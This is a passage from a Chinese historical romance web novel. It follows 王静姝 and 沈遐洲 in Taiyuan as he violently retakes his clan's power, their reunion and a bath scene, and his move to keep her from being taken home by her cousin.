他面颊苍白瘦削,声调并不高,甚至带着些彷徨的轻柔,泛着血丝的眼眸也像是布满了伤感之色,方才一瞬的感觉就像是王静姝的错觉一般。 她急剧跳动的心脏,也在郎君一声轻语下无限心软,她轻轻抱了抱他,“该我问你,你醒了怎么不唤我?” “你身上那么多伤,是不是痛得睡不着?” 想到这,王静姝越发心疼,她慢慢松开郎君,想再为郎君看看身上的伤,但沈遐洲却倏地拥住了她,甚至力道也在一点点收紧,就像是要将她勒入骨血一般。 王静姝任由郎君拥着,可渐渐地就吃不消了,她“嘶”一声地道:“沈九如,你抱痛我了。” 沈遐洲渐松了力道,但并不放开女郎:“卿卿,你是为我而来吗?” 勒骨的禁锢感没了,王静姝也并不急着挣脱怀抱,她一下一下地轻抚着郎君的脊背,点头温声:“我是为你而来。” 贴近的心脏,扑通声都在相互感染着,甚至盖过了马车的行进声,像是过了许久,王静姝才推开了些沈遐洲,郎君眼眶通红,昏暗中隐有波光闪动,孤伶又脆弱。 王静姝心都跟着紧缩一般滞顿,心痛又难过地问:“你是哭了吗?” “卿卿,我没有父母了。” “也没能救回二郎与四娘的父亲。” 他并不曾真地哭泣,甚至语调也有些平淡,可王静姝总觉得他的声音中带了酸楚,就好像他已在心中哭过不知多少次,她能感觉出来的,沈遐洲虽常淡漠得好似根本不在乎长公主与沈伯父,可血派中带来的联系,又哪能真的没有动容? 日后,他连与之争吵的机会都不会有了,甚至不能回去为其收殓尸骨,也不能送他们最后一程。 王静姝为之难过得说不出话来,只用行动地亲了亲他的眼睑,无比温柔地捧着他的脸道:“别去想了,我们先离开洛京,把伤养好好不好?” 她担忧郎君会不管不顾地重回洛京,又亲了亲他唇角地诱哄:“我会陪着你的,你再睡睡好不好?” 沈遐洲的身体明显的非常疲乏,他受的伤,与数日不曾眠的赶路,根本不是短暂地休想能缓过来的,他此时的醒来,全然是他时刻紧绷的精神所致,他继续这样紧绷着保持清醒,并不会让他的伤势有所好转,他应该多休息。 沈遐洲伤感的目色,也似被女郎的温声哄得散去不少,他似疲乏地将脑袋搭在女郎的肩头,手也置于女郎的腰间,声音低弱地确认:“卿卿,你会一直陪着我吗?” 王静姝回抱他,无比肯定地点头:“我不会走的,你放心睡吧。” 沈遐洲垂着眼,他相信女郎的话,可他不信的是 自己,如今的他,当真留得住女郎在他身边吗? 他想的比王静姝多了许多,太原非但留不住王静姝,甚至不一定能庇佑沈氏族人,沈照的死还有长公主的失败,他们这一支退回的嫡系,并不一定会被欢迎,内部的族老怕是第一个不欢迎他们的回归,大哥沈遐光在此的驻军补给也多受族中牵制。 但他们若想有个立足之地,必须将太原彻底掌在手中。 顷刻间,他便想了许多,在女郎看不到的地方,目中戾气转瞬凝结,就如女郎初时看到那般恍若妖魔。 * 王静姝直至将郎君哄睡,又探了一遍他的额温,才靠在椅靠上打起了哈欠,之后行车途中的一日又一日,她一直注意着沈遐洲的伤势与情绪。 他似乎真的好了许多,从第一次清醒开始就没有非要闹着回去洛京,后来更是与沈二郎商讨起如何拿下太原。 隐约地听见什么“家主令”,王静姝回想时,才猛然想起曾经沈伯父给过她一块类似令牌的玉璧,因是长者赐的,她一直小心地带在身上。 白玉极其温润,入手也贴上了她体温的暖意,她摩挲着玉璧,有些出神地想起沈伯父当初叮嘱她的一些话,是不是沈伯父早早就料到了会有这样的一日? 沈遐洲是不是也在自责请沈伯父下山害死了他? 想到这种可能,她再坐不住地起身,她该去寻沈遐洲,必须将沈伯父当初让她转达的话转达给他。 他们如今在的是距离太原郡极近的一处驿馆,因久未收到沈大郎的通信,不敢贸然进入太原,可他们的人手有限,也无法继续在此不断耗费着时日,未知的等待有时比直面危险还要可怖。 沈遐洲伤势未曾好全,王静姝就曾几次见他带人先行一步去探查。 每次都回来得极晚。 这次也一样,她又没有寻到沈遐洲,故而夜里,她也不曾睡下地等着,她知晓的,沈遐洲每次归来晚时,都会来见她,有时她睡得朦胧之时,隐约能感到自己床边坐了一人,有时,她甚至能闻到一些血腥味。 她不知那到底是沈遐洲身上的旧伤裂开了,还是他去哪沾染上了旁人的血。 每当这时,她就想挣扎着起身问问他,可她无论如何努力,似乎都难以醒来,然到了第二日,她又不见了他。 她便知,是沈遐洲不愿让她知晓担忧,她便也体贴地不过问,只请驿馆中的厨娘多煮一些温补的食材,替沈遐洲温着。 这夜,直等到三更天,王静姝几欲熬不住睡过去,忽地有所感地看向了窗外,月色倾泻,一身黑色夜行衣的郎君正在翻窗而入,似也没料到她竟没睡,一时僵在了翻窗的动作上。 王静姝困意都被他滑稽的举动给惊跑了,嗔他:“你还进不进来了?” 窗扇吱响一下,郎君入了内,可他却并不靠近,站在窗口处,迟钝地有几分羞赧。 王静姝也被他的举动腾出了几分羞恼,虽许久不曾亲热过,可他们早就什么都做过了,他如今这般姿态如何不让人往歪了想? 尤其还是这样夜半三更的时候。 “你坐过来,我有话与你讲。”王静姝拍了拍榻沿。 沈遐洲耳尖害羞地红了红,听话地走近,语中似也有些期待地问:“卿卿,你在等我?” 王静姝瞪他,她不是等他,难道是在等鬼吗? “你日日都去做什么了?”王静姝忍不住地问。 沈遐洲容色扭曲一下,眼眸也闪过一瞬的阴鸷,垂眸掩盖地道:“去杀人。” 王静姝心惊不已地看向郎君,他低微的面容掩不住的苍白消瘦,嗓音也平缓,可说出的话却寒凉无比,这一刻,他又俊美如鬼魅。 “你被我吓到了?”沈遐洲掀眼看向王静姝,“卿卿,我杀的都是该杀之人,你别怕。” 他解释得并没有什么自信,甚至都不如往常一般去拉拉王静姝,他其实也大可不说实话,可他心底却抑制不住地冒出恶意,也极端地不安,他已知晓,南地许多世家已投靠了新朝,其中包括王家,他非是生气,而是预料到,或许用不了多久,就会有人来从他身边接走女郎。 他一边想强硬地留下女郎,可一边又不忍女郎继续受他连累,当避无可避面对女郎询问时,他自暴自弃地将自己所有恶意显露给女郎—— 看吧,他就是这样一个坏郎君。 他姿容安静,除去一身黑色的夜行衣,一点也看不出他是去做的什么,王静姝凑近地对他嗅了嗅鼻,眉眼促狭地上扬:“那你今日怎身上没有血腥味?” 她并不怕沈遐洲去做的什么,毕竟对此,她早就有猜测,她更担忧的是,他可会受伤,还有,他为何避开她? 与这样一个心思多,又敏感脆弱的郎君相处久了,其实很多时候,王静姝都已能猜到他心中在想什么了,她继续凑近地问:“你总半夜来看我,白日又常不见了人影,不会是觉得我会怕得避开你?所以先避开了我吧?” 不等沈遐洲有回应,她就嫌弃地哼了哼,“那你倒是每次清洗后再来看我啊,一身的味道,就是想不猜到你去做了什么都不行。” 沈遐洲显然没想到,他分明是在女郎睡熟了的时候来的,有时还点了女郎的穴道,可仍旧被发觉了到来,甚至早就被察觉了他去做了什么。 他顾左而言他地避开女郎的猜测,只道:“今日只是去见人,并没有杀人。” 王静姝了然地看他一眼:“那你说说你每日都去见谁,又去杀的谁?” 这里临近太原郡,见人王静姝可以理解,可杀人,王静姝实是一直想不透。 沈遐洲也并不想隐瞒地道:“太原同并州一直是我沈氏经营的地盘,沈家从祖上就有一块家主令流传,得令者,可调动并州兵马,并沈氏所有暗卫和收拢影阁的各处细作。” “那块令如今并不知落到了何人手中,且族中如今超半数之人,并不想接受我这一支,常驻并州的大哥也联系不上,我与二郎担忧大哥是遇了害,我寻的是我沈氏昔日的部将。” 王静姝听懂了他话中的意思,他没有家主令,所以他一边试探,一边杀了早已背离了沈伯父这一支的将领,今日见的人并不用动手,所以他身上也没有带上血腥味。 她动了动身子,对他一直提及的家主令越发好奇,从被衾中摸出那块玉璧,问:“家主令比之这块玉璧如何?伯父当初给我时,还让为你转达一句话——” 王静姝的神情变得认真许多,直视着沈遐洲的眼神道:“三郎,伯父曾同我说,他下山,并非因为你我去请他,而是他早已决定回洛京。” 沈遐洲神色怔然,目色也顿在女郎手中持着的玉璧上,这无疑是那失去踪影的家主令,他眼睑微动,望入女郎认真剔透的眼眸。 显然的,比起玉璧,她更在意转达的那句话,她是察觉到什么了吗? 他不说话,王静姝却扑入了他的怀中,抵在他胸膛前问:“沈九如,你是不是在自责?” 若非自责,为何之前不管不顾地赶回洛京,若非自责,又为何对她也害怕得不敢靠近? 她当初并不解沈伯父与她独谈的用意,如今想起,才惊觉沈伯父看的长远,而她的郎君是不是也日日都在忍受着煎熬? 她收紧手臂,脑袋在郎君胸膛处埋得更深了,她也在自责,自责明明是担忧沈遐洲而跟来,可她真能为他做的却很少,甚至还可能给他带来麻烦,她真是不知该拿沈遐洲如何是好了。 窗外寒风呼 啸,沈遐洲感受到女郎的不安,立时紧紧回拥了她,谁也没有去多在意被抛在被衾之上的玉璧,只彼此感受着相互间的温情,恍若这样,就足以得到安宁。 当夜,王静姝知晓了玉璧便是家主令,而与她相拥而眠的郎君,却在翌日又不见了踪影,她如今其实很少能见到不在忙碌的沈遐洲,就连昔日总是游荡的沈二郎,也满是疲容地向外发着文书,那些文书沈二郎也并不避着她,是联系各处将领旧部的。 沈大郎沈遐光果然是出了事,甚至连早一步离开洛京,被送至太原的袁夫人与四娘子也被掌控了,太原旁支的沈氏在等着沈遐洲与沈二郎也自投罗网,他们要拿沈遐洲这一支子弟向新朝廷投诚。 王静姝贝齿紧咬,恼怒不已,恨这些人简直是在趁火打劫,她也攒着一鼓气地帮忙做些密信的整理。 家主令的存在,令沈遐洲更快地收归了诸多旧部,他们的居所也从一开始驿馆换至了一处小别院,但因被拿着捏着沈大郎等人,沈遐洲迟迟没有明面上对太原展开攻势。 这日夜里,她睡得正沉,陡然惊醒,榻边坐着个沉静人影,浓浓的血味的潮腥扑鼻而来,她从榻中坐起,摸到了沈遐洲冰凉的手指,心中惊一下,自之前夜里相谈一次后,沈遐洲也自知总是夜里惊扰了她不好,再不带着寒凉夜露与满身血味闯入她的房中。 可今日却再次毫无清理地闯入,她不得不多想,她一边起身,一边自郎君的手指向上摸索,查探他可有受伤,嗓音也透着急切的担忧:“沈遐洲,你是不是伤着了?” 她趿了软鞋,要去点灯,却被郎君在昏暗中拉坐回塌沿,她倏地被拥紧,听得郎君压抑克制的低声:“卿卿,我寻到大郎与四娘他们了。” “这不是好事吗?他们可都好?”她轻拍着郎君后肩,声线柔软,她隐约察觉,一定还发生了什么。 “大郎被废了。”郎君的嗓音都似在颤动。 王静姝听得瞳仁猛缩,静谧的空气,也令人窒息般的难受,她虽不曾见过沈大郎,可她无比知晓,沈家余的两位郎君还有四娘子对沈遐洲意义,沈遐洲本就愧没能带回沈桓,更愧所有事情的源头都于自他的母亲。 沈大郎出事,无异于又在沈遐洲的心上划了一道。 她掩着喉间的涩意,尽量用柔和的嗓音安抚着郎君,问他到底是发生了什么,四娘子又可还好? 沈四娘子并无事,但袁夫人自避入太原,听得了洛京中噩耗,就大病了一场,后更是被旁支的那些族老,借庇佑与探病为由,诓回了沈大郎。 而沈大郎也是因此不防下,中了计,一直被囚地牢之中逼问家主令的去向。 再不用沈遐洲继续说,王静姝也能猜得,沈大郎定然是在地牢中受了诸多的刑罚。 明明是一荣俱荣一损俱损的亲族,可当真正面临难处时,人心是算不透的,沈伯父许也不曾料到,在他倒下后,沈氏根基所在的太原,只想将他这一脉榨干利益,于新朝中继续荣耀。 王静姝晃神一下,沈遐洲却已站起,她连忙拉他:“你去哪?” 她能察觉沈遐洲今日的状态极不好,这才被他拉一下,就踉跄地坠一下。 她也不让沈遐洲走了,径直点了灯烛,这时才将他的形容瞧清,他又凄惨极了的模样,面色惨白,黑色的衣袍,深深浅浅的痕迹,像是血。 记忆中的郎君,其实是很少穿这样黑色衣袍的,是为了看不出沾染上的血迹吗?他总去杀人,她都快习惯他穿黑衣的样子,可仍旧见不得他失魂的模样。 她朝他走近了一步,沈遐洲却退后一步。 郎君望她一眼,怯声:“我弄脏你里衣了。” 王静姝这时才发现方才相拥时,她身上也沾了血痕,红白映在一块,王静姝并不在意,她目凝着沈遐洲,“你又要去杀谁?” 沈遐洲呆怔一瞬,他并没有和女郎说,今夜,他几乎屠尽了沈氏坞堡,若非二郎阻拦,他许还会继续虐杀,袁氏和四娘见了他都恍如见了恶鬼,尤其是婶母袁氏,对二伯沈桓与沈大郎遭遇的一腔愤恨皆倾泻他一身。 他第一次知晓,原来端庄得体的二婶也会破口大骂。 天地浩大,他早已没了归处,他想见女郎,便来了。 他的状态实是不对,就像是回到疯狂往洛京赶被她与沈二郎拦下的那一日一般。 王静姝又朝他走近,拉扯他的衣带,“沈九如,你既想不起还要去杀谁,那就留下,你该沐浴再睡一觉。” 她扯开他的衣带,褪去他的外衫,将人推入净室,又唤了人进来添水。 自逃出洛京以来,她与沈遐洲早已很久没有那方面的心思了,房间也是分开,偶尔夜里来见,也是来去无影,当地买的奴仆陡地见到女郎房中出现了郎君,多有惊讶,低头不敢多看地送进一桶桶水。 王静姝对此也并无什么羞于见人,男欢女爱,她只是比旁人更光明正大了点罢了。 况,她也没想做什么呢。 然而,净室中一点响动也没有传来,王静姝不免担忧他是不是身上还有伤,她又翻找着伤药,转入了屏风后。 沈遐洲许是真累极了,他闭目靠在桶壁上,乌鸦鸦的发一半漂浮在水面,一半贴在沾湿的胸膛,许是蒸腾热气的缘故,他面上苍白褪去几分,反洇出些红润,眼角发梢也满是水露,原本隽逸的五官在此刻也愈发柔和俊美,安静得恍若在礁石上睡去的鲛人般迷离诱人。 王静姝无疑是喜爱他容色的,靠近的脚步也不经放轻柔了,指腹触上他的后脊,将他黑发别开,仔细确认这次没有伤才迟疑地向前转。 他们早已赤诚相待过,可这样年轻美好的郎君身躯全然展现在眼前,她也不由红了脸。 她的手指在向前绕,缠上了他的发,她该将这恼人发再别往旁侧,然,还不及再有所动作,水中闭目的郎君倏地睁了眼,哗啦的水声,他湿淋淋的手握住了她的手。 颗颗水珠如珍珠般不断从他身上滚落,睫毛微颤下,细小的水珠也危险地轻颤,王静姝目光紧随着那随时可能眨落的水珠,心都好似跳到了嗓子眼。 她瞧见郎君面庞微抬,水洗一般的曜瞳,像是要将她吸进去:“卿卿,你又招我。” 王静姝只来得及察觉手中一阵拉扯的力道,她被带跌进了浴桶,水猝不及防地漫至眼前,她惊慌地扑腾,急于寻得支撑。 本能地攀到了沈遐洲的身上,沈遐洲也将她搂得带离水面,她两手搭在郎君的肩头,急剧地呼吸。 浴桶并不如浴池大,一人用时,还尚有足够空间,可若挤了两人,空间好似都在一瞬紧缩得只有方寸。 郎君锢在她腰间的力道在收紧,王静姝吐出一口不小心含入的热水,奇异地察觉到两人此刻的姿势既别扭又暧昧,她几乎是膝跪在郎君身上。 沈遐洲面庞上仰,黑岑岑的眼眸盯着不断喘气的女郎,眸光奇异的亮,眼尾也像是染上了兴奋的红。 只一眼,王静姝就察觉到了他的兴奋,腿弯被拖曳一下,她又往水中浸去。 而郎君也在此时,微挺了腰,紧绷而有力的胸腹稳稳地撑住了她。 “卿卿,坐。” 其实根本不容她拒绝,向后撤,他已倾身上来,一手压着她后脑,一手托着她的后腰,温柔但又渐渐加深地亲吻,慢慢的,这样已经不再足够。 本该累极的郎君被点燃了般拉起的女郎,她的后腰先是撞上了浴桶,后来,拉长的影子,便成了拉握的弓般向后弯曲。 气息冲撞,相互拖曳,王静姝察觉沈遐洲越发地霸道,他一点也不许她逃,远超以往的不可控,他似乎想在她身上耗尽最后一分力气,他在她身上寻求着满足,也寻求的着安全感。 她尽力地配合着他,几次险些喘不上气。 直至桶中的水变得不再清澈,变得有了凉意,他们又转换至榻上沉沦。 灯烛渐灭,属于清晨的光亮缓慢无声地侵着浅淡的夜色,天已经要亮了。 但王静姝并未能睡多久,恼人的笃笃敲门声,接连不断地响起。 她有些不悦地起身开门,竟是面颊有些发红的沈莹,可比脸更红的是她的眼眶。 她像是大哭过,人也较上次见时,沉稳了许多。 第67章 第67章剧情 王静姝有些惊讶地出声:“四娘。” 她想过会见到沈莹,但这般突然地在小别院中见到,实有些意外,她背手关了门,将沈莹带离了些去细瞧。 沈莹朝她背后望一眼,没多言地同她走远了些。 王静姝伸手抚上了沈莹的面颊,不止是眼眶红的,还瘦了,但好在整体并无恙,王静姝疼惜她近来的遭遇之余,也多有欣喜此刻的再见。 可这些情感之外,她还忐忑地带上了点防备。 昨夜沈遐洲带来的消息,既称的上是好,也称的上是坏,好在夺回了沈家在太原的掌控权,也救出了沈大郎等人,可沈大郎在这些日子里,受到的伤害也是不可逆 转的。 四娘这般大清早的寻来,她不会天真地认为四娘只是来寻她的。 而她也私心地偏向维护沈遐洲,即便是郎君的家人,她也想先弄清沈莹的来意,若是一味的责怪与迁怒,就现在而言,她不会让沈莹见沈遐洲。 在她看来,沈遐洲承受的痛苦并不比任何人少。 王静姝护犊似的挡在沈莹的身前,但她所担忧的事并没有发生,沈莹只抹了控制不住的泪水问:“表姐,我三哥还好吗?” 她嗓音中挡不住的哽咽,视线也恳切地望向王静姝,“昨夜,三哥来带出我与母亲,我母亲说了些伤人的话……” 她撑在王静姝手腕上的手带上些力道地收紧,话也有些过不下去的艰难。 王静姝却在顷刻间抓住了昨日夜里郎君反常的源头,她执拗地想知道的更清楚一些:“伯母都说什么了?” 沈莹羞愧地垂下头,昨夜里的事情似还历历在目,她与母亲脱困之时,长兄也被救出,母亲见到浑身鞭笞挖膝之刑的大哥,彻底崩溃,不管不顾地在见到三哥的瞬间,扑上前发泄,言语中皆是责怪,最凄厉的一句话莫不是指着三哥问“为何你还能好端端的立在这。” 彼时,三哥手中剑尖似还残留着所戮卫士的鲜血,墙外也满是各种逃窜嘶喊,她呆呆望着母亲对三哥的指控,心底不乏也是那般责怪,直到二哥寻来,她才如梦初醒,回想起三哥那时候的神情,压抑痛苦又忍耐,忍耐着来自她母亲的迁怒。 可失去亲人的又何尝只有她与母亲,三哥也很痛苦吧? 她怀着歉疚,一早寻来,此刻被表姐这般问,唇瓣翕动,终是没有说出口,只嗫嚅着道:“表姐,我母亲只是在气头上,我替她同三哥道歉。” 王静姝眉头皱在一块,并没有立场去阻拦沈莹,可她就是生气,她的郎君如今已经够辛苦了,为何还总有人苛责他? 她没有半分挪开,沈莹似也有些泄气,“我晚些时候再来寻三哥。” 王静姝没有挽留,总归要等沈遐洲醒后,知晓他是如何想的。 她扶了扶有些酸疼的腰,重新往屋中去,才关定门,就被榻上坐起的郎君吓了一跳,他不知何时已经坐起,衣襟虚敞,低垂着面容,目中恹恹的没有神采,满是羸弱的模样。 世上真是少有他这样的郎君,昨夜强硬时,抚按她的腰身不容她退却,醒来时,又这样地惹人心疼,她靠近的步子也不由放轻:“你都听到了?” 她指的是方才她与沈莹方才在外说的话,她虽不知袁氏到底对沈遐洲说了什么伤人的话,但她显然是在照顾郎君的情绪。 “嗯。”沈遐洲点头,微微笑了一下地拉她坐下:“卿卿,我没有你想的那么脆弱,我也不怪四娘她们怪我,不管她们如何做想,日后我总归会护住她们。” 他似眷恋地在女郎颈窝处蹭了蹭,“接下来我或许不能常来看你了。” 王静姝有些发痒地躲了躲,下意识问:“为何?” 沈遐洲没有松开女郎,手指轻绕着女郎的发尾:“大郎已不能领兵,太原人心散乱,我与二郎有许多事情要忙。” 王静姝没有怀疑这个理由,了悟地点了点头,还答应会搬入太原内的府邸,这处的小别院在太原城之外,如今,沈遐洲重新拿回了对太原等处的掌控权,她自然也该跟同大家搬至更安全之处。 这并没有什么好多想的,只是,她总觉得自己似乎遗漏了什么。 往后的数日,古怪越甚,她去哪都有人跟着,四娘与她相交时,再提起袁伯母与沈遐洲的龃龉,只道是至亲之间,早已说开,可在相伴分别之时,又总会用一种欲言又止的神情看她。 初时,她只当是四娘遭逢大变,心中受创,多有敏感,故而,四娘不主动说,她也体谅地从不多问。 可渐渐的,她就发现了不对,四娘来寻她过繁,她有意试探要出府逛逛,四娘竟然先放下了对袁氏的照料,也要陪她去。 她在不知觉中被人看住了! 想法甫一跃入脑海,一切古怪皆能说清,可为何要看着她? 先不说往日的关系亲密,她与沈家一同北逃而来,也没有任何要看住她的理由。 她眸光在昏色中微闪一下,想到一个可能,登时站了起来,能做出这种事的只有沈遐洲。 他这些日子都在做什么? 王静姝隐约知晓他是在整顿兵马,甚至拒过一些打着各种名头来探的周边人马,可除此外呢,她与沈遐洲已多日不曾见,也许久不曾听得外来的消息。 她光顾着偏于一隅,被重视的郎君还有四娘等人牵了心神,忘了想如今朝廷的态度,还有王家可有来人接过她? 或许有,但都被郎君替她拒了? 她眉头微蹙,若王家一直不派人来也就罢了,可若派了人来,沈遐洲不该强留她的,她是王氏女,不该给家中惹去灾祸是其一,其二,她深知自己伯父的为人,在这样局势随时可能起冲突的时下,与沈氏的姻亲关系,只有弊无利。 一旦派了人来接她,必然是为划清界线做给新朝看的,说不得其中还得了新帝的授意,沈遐洲留她那无疑是将朝廷的目光引来。 惠王今岁才登上帝位不久,忙着与世家阀门拉锯,加固皇权,才有了沈遐洲这些时日的喘息机会,可新帝只要记得自己的皇位是怎么谋来的,就不可能一直放任沈遐洲坐视不管。 越是这时候,太原越应淡出朝廷的视线才是。 王静姝焦急地在房中踱步,心中难以安定,她必须独自出门一趟。 只有出门,她才能知道如今太原最真实的情况。 她有心出门,而沈遐洲又并不陪在她身侧,光靠沈莹又如何能看得住她,几间铺子闲逛下来,沈莹分在她身上的注意便少了,紧跟她们的卫士又大都留在铺外,她借更衣甩开了跟着的女婢,询问了铺中的伙计,不多时便从铺后的小门绕出。 太原经过一场沈家的内斗,不管是否牵扯到其中的本地士族皆受到不小的影响,他们自来以太原沈氏马首是瞻,可那是在沈氏还如日中天时,如今情势多变,人心自然也变了。 只犹在他们壁上观时,退回太原的两位沈家郎君就以铁血的手段掌控了太原。 现今本地的士族多分为两派,一派明哲保身,闭门不出,至于另一派,本就是沈家一直以来的依附,听命家主令,该清洗的早已被筛过。 大家族如此,城中普通百姓风声鹤唳,街中也颇为冷清,零星叫卖皆是糊口的迫不得已,商铺更是关了大半。 而她与沈莹先才逛过的几间铺子,稍寻人一打问,竟是今日才重开的。 她神情略凝,料想,这些铺子定然是事前得了授意,为了便于她与四娘今日出门才开的。 她越发觉得自己的担忧没错,太原的情形并没有她在府中所听得的那般好,光是朝中来请沈遐洲归京悼丧的旨意就来了好几道。 可若光是这些的话,实没必要让四娘瞒哄她。 她想到一个可能—— 怕是来人中有来接她的。 这想法甫一跃脑中,她不经头疼苦笑,这确是沈遐洲能干出的事。 她犹在想着,巷前忽地驶过一辆素毡马车,车帘从里被挑开,一年轻郎君惊喜呼道:“六娘。” 王静姝抬眼瞬地望去,只见厚重的毡帘抖动,不见人,但闻得急声呼停。 下一刻,不待那马车停稳,蹦下一活泼的少年郎君,身量颇高,但年岁瞧着却与王静姝一般大,飞扬的眉眼间隐约与王静姝有几分相似,正是王家七郎王闻俭。 “六娘,真是你!”王闻俭语中是掩不住的惊喜,伸手就去拉王静姝:“六娘,你与我走,我带你回去。” 王静姝闻言,下意识地就避开他的手。 王闻俭的手一时停滞在空中,尤是不敢置信地望向后撤的女郎,他们自幼一起长大,年岁又是众多堂兄妹中的最 相近的,自来感情颇好,王静姝随小叔母离开建业去洛京,他还怅然了许久,一度想过也寻去洛京作伴。 只后来隐约知晓了其中的隐情,便再不做想,免得给六娘惹麻烦,当然更怕的是被迁怒。 然而,不过一年的光景,风云涌动,昔日如日中天的沈家也遭逢巨变,小叔母沈风眠与小十一郎王闻礼早一步归到了家中,才未受其牵连。 但明明该一同归家的王静姝偏偏不见了踪影,这比他大不了几日的六娘,实是个胆大的,沈家如今的情形,旁人避让都来不及,她倒好,竟然追着沈家的郎君而去了。 当然,这都是他偷听得来的,彼时,小叔母方归家,便引得家中长辈们动了大怒,他细听下才知,竟是六娘未归。 王家能在建业一直屹立不倒,离不开每一代家主的掌舵,到了他父亲王瑞的手中,更是多有钻营,时值动荡,王静姝这样一个王家女郎跟着沈家的郎君跑了,就如随时可能炸破的惊雷,加之王沈两家原就有姻亲的关系,说不得就要被新帝寻了借口成了众矢之的。 父亲王瑞怒后,除却私下遣人带回六娘,也对新朝动向多有留心,自古帝王私底下手段如何狠戾,可到了明面上都得扯个能堂皇服众的遮掩,陈雍多年营造出的温煦与对长公主的感念,早前既未能在南地动乱中困死了沈遐洲,到了如今,即便是装也得装出对沈遐洲这个侄儿的宽宏大度来。 故而,明知沈遐洲为何叛逃固守太原,也假模假样地派人来劝归,也不知是有意还是无意,这差事落到了王家。 王七郎此次便是跟从王家长辈前来,准确说,是他偷跟来,及至被发现时也已晚了,便带上了他。 王七郎性子虽活泼了些,但也并非无脑之人,新帝分明是在借此机会向王家抛橄榄枝,有拉拢亲近之意,父亲也无不有顺势撇清与沈家的牵连。 利字在前,情分什么皆成了过往,王七郎理智上无法置喙一切为家族考量的父亲,可再看看憔悴不已的小叔母,心中总觉得不太舒坦。 惠王的登基固然能给现今各方势力带来新的权势较量与划分,可明摆着的,惠王的位置是靠阴谋诡计得来的,这样的帝王,又能御下平和多久? 他想的颇多,不过说到底,这些大事都还非他一个小辈能左右的,他先一步混入太原城中,是为将六娘从中摘出来。 短短的时日,他们已被太原城如今主人——沈氏郎君拒了数回,甚至因一同跟来的朝廷内臣言辞中的胁迫,明显激怒了沈三郎,他不由更担忧六娘的处境。 可方才—— 六娘是在拒绝跟他走? 王七郎对这个认知既震惊又满腹委屈,面上也显出几分埋怨。 王静姝这时也回神不少,被王七郎瞧得生出歉意,近前一步开口:“七郎,你怎会来此?” 虽是近前了一步,可她仍旧是与王七郎相隔着步余的距离,目光也往王七郎的身后挑了挑。 王七郎哪能瞧不出她的防备,没好气地侧身好让她瞧得更清楚一些道:“并无旁人,我与辛家郎君有些交情,得他相助,只我一人入了城。” 辛家王静姝是知晓的,是太原城中久居的世家之一,在沈遐洲据了太原城后倒也显得安分,虽不知其出于何缘由帮王七郎入了城,但知晓除了王七郎外,再没旁人寻来,她也不由松了一口气,萦绕在周旁的戒备也一瞬消散不少。 王七郎斜睨她一眼,冷冷地哼哼:“起初我还不信你是追着沈家的郎君去的,现再看,你确是被灌迷魂汤了。” 王静姝赧然,王闻俭的话却并未说完:“你还是趁现在与我走的好,若是打了起来,旁人可不会像我一般在意你的死活。” 王静姝陡然抬了眼,几步上前急声问:“会打起来?” “城外是何情形,都来什么人?调的哪方兵马?” 王静姝曾帮着沈二郎整理过文书,也代笔过不少书信,对太原周边情形多少有些了解,按理不该打起来,盖因没有旨意,而惠王—— 王静姝的思绪顿一下,或许该说是新帝了,即便腾出手来,也不会立马对太原真刀实枪地下手才是。 他的位置是与吕相为首的世家合谋而来,可又釜底抽薪地摆了这世家一道,还在世家相争时拢得了被抬举的寒门武将们。 被打破的势力平衡,哪有这么快就能重新合力到一处去? 这时候就算陈雍真想不管不顾地举兵攻破太原,怕是吕相最先要坐不住。 王闻俭被王静姝问得支吾,只得具实言道:“沿途的兵马并未被调动,只朝中派了些人来请沈三郎回京吊唁。” 许是怕王静姝并不知其中的严重性,还要执意留在此处,他急得有些抓耳饶腮,“不是我诓你,眼下虽还不见得打起来,可沈三郎不赴京奔丧,那就是枉为人道、抗旨不尊……” 王闻俭一连数了沈遐洲数条罪状。 总之,朝廷就是在逼迫沈遐洲归京,归京,那在几方势力的博弈下,沈遐洲或许还能活,若不归京,那可就要被安上造反的名头了,到时,多方举兵平叛的可就是太原了。 这些说法有些是王闻俭听来的,有些是他自己想的,他望一眼面色有些凝重紧抿着唇的王静姝,心下叹一口气,知道六娘这回怕是真的为那个沈三郎动心了,着急忙慌地又安慰道:“你也莫要过于担忧,我听我爹说,只要你那沈三郎能看得清局势,其实此时重新入京是最好的,新帝和吕相面和心不和,他在其中说不得反而能保住性命,说不得还能换得太原无恙地暗中积蓄实力。” 他现下是为了安慰王静姝,什么听来的话都敢说。 王静姝默默凝了他一眼,呛他:“你爹说的话能信吗?他还想把我卖了豪赌一场呢!” 她指的是王瑞想将她嫁于丹阳王一事。 她大伯是极度不安分的野心家,不甘于王家不复先辈强盛,也不甘一直低于北方世家一等,过往丹阳王一点苗头的事,他都有过将家中女孩儿嫁出的想法,现在如愿的正是新朝未定时,若是他在此时助新帝压过北地的老世家,王家的荣光或许不日而语。 但她大伯向来老狐狸一样的人,说的话也不是没有道理,指不定看好沈遐洲归京是连沈家也想压着宝呢。 越想她越怒瞪王闻俭,问:“你还听说什么了?” 王闻俭显然对自己父亲也是有些认知的,正被王静姝呛得羞愧万分,听得她又问,却再说不出些什么来:“我听来知晓的都告诉你了。” 倏地,他又想起什么般拍脑:“我们王家许是要迁去洛京。” “还让族叔此行必要将你接回。” 第68章 第68章他想囚禁她 于情于理,家中要接王静姝归家是没错,可“必要”二字人耳,她听着总觉得不舒服。 这话若是她亲爹嘱托的,无疑是浓浓的对她的担忧,可若是大伯的默许,她便不受控地将自己代代入了待价而沽的货物。 浓浓的嫌恶瞬地涌上她心头,便是举家迁去洛京,她也不要跟去洛京了,她宁愿留在建业祖宅中受罚。 王七郎瞧得王静姝的面色越发不好,悻悻住了嘴,只暗自嘀咕六娘离家一载,怎么脾性越发不好了?沈三郎那人他幼时也是相处过的,又傲又不拿正眼看人,还曾与六娘不对付,明明是南辕北辙的性子, 这两人能好到一处去,也真是奇了。 他自来跳脱无拘束,这好奇一起,又心痒痒地想开口问些什么,却不想王静姝撇下他扭头就走,步子出奇的快。 他连“诶”一声地边追边抬声:“六娘你去哪?你当真不与我走!” 王静姝像是没有听到他呼喊一般地向前走,先不说她今日本就未做好走的准备,且就方得到的这些家中消息,她都得重新思量思量了。 然及至她来时巷尾的转角,她忽地停了脚步,扭头去看追来的王七郎,目中意味很是古怪,像是一言难尽的同情? 王七郎不愧是与王静姝一同大的,只一眼就觉不好,往前追的步子缓地停了,头皮发麻般地只想跑。 果然,下一瞬,狭长的巷子两侧墙头陡地冒出许多身披甲胄的卫士,再看他来时所乘的马车,车夫脖颈也被架上了一芒利剑,而巷子尽头的转角处,步出一黑衣博袖的男子。 